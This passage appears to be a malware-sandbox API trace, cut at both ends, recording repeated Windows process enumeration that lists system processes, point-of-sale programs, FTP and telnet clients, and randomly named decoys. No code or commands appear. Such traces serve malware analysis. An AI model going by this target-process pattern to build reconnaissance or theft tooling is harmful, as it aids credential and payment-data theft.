lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0141.706] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0141.707] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0141.707] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0141.708] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="schemesbreakdownfaculty.exe")) returned 1 [0141.709] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="onto colors securities.exe")) returned 1 [0141.710] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x106c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.710] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.711] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.711] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.712] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0141.713] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0141.713] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.714] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0141.714] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0141.715] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0141.716] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x110c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.716] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.717] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0141.717] CloseHandle (hObject=0x9c) returned 1 [0141.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x9c [0141.735] Process32FirstW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.736] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.736] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.737] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.737] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.738] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.738] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.739] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.739] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.740] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.740] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.741] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.741] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.742] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.742] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.743] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.743] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.744] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.744] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.745] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.745] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.746] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.746] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.747] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.747] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.748] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.748] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.749] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0141.749] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.750] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.750] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.751] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0141.751] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0141.752] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0141.752] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0141.753] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0141.753] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0141.754] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.754] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0141.755] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending_windsor.exe")) returned 1 [0141.755] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wishlist.exe")) returned 1 [0141.756] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lincolnsap.exe")) returned 1 [0141.756] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="allergy.exe")) returned 1 [0141.757] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="panicburning.exe")) returned 1 [0141.757] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ci_competitive.exe")) returned 1 [0141.758] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="softball-do.exe")) returned 1 [0141.758] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="o huge.exe")) returned 1 [0141.759] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clothes-lone-terrace.exe")) returned 1 [0141.759] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy statute.exe")) returned 1 [0141.760] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0141.760] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles_register_voluntary.exe")) returned 1 [0141.761] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ringtones.exe")) returned 1 [0141.761] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="method.exe")) returned 1 [0141.762] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="conscious_information.exe")) returned 1 [0141.762] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bankruptcylaboratory.exe")) returned 1 [0141.763] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="j species.exe")) returned 1 [0141.763] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="uganda mom.exe")) returned 1 [0141.764] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0141.764] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0141.773] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0141.774] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0141.775] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0141.776] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0141.777] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0141.781] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: 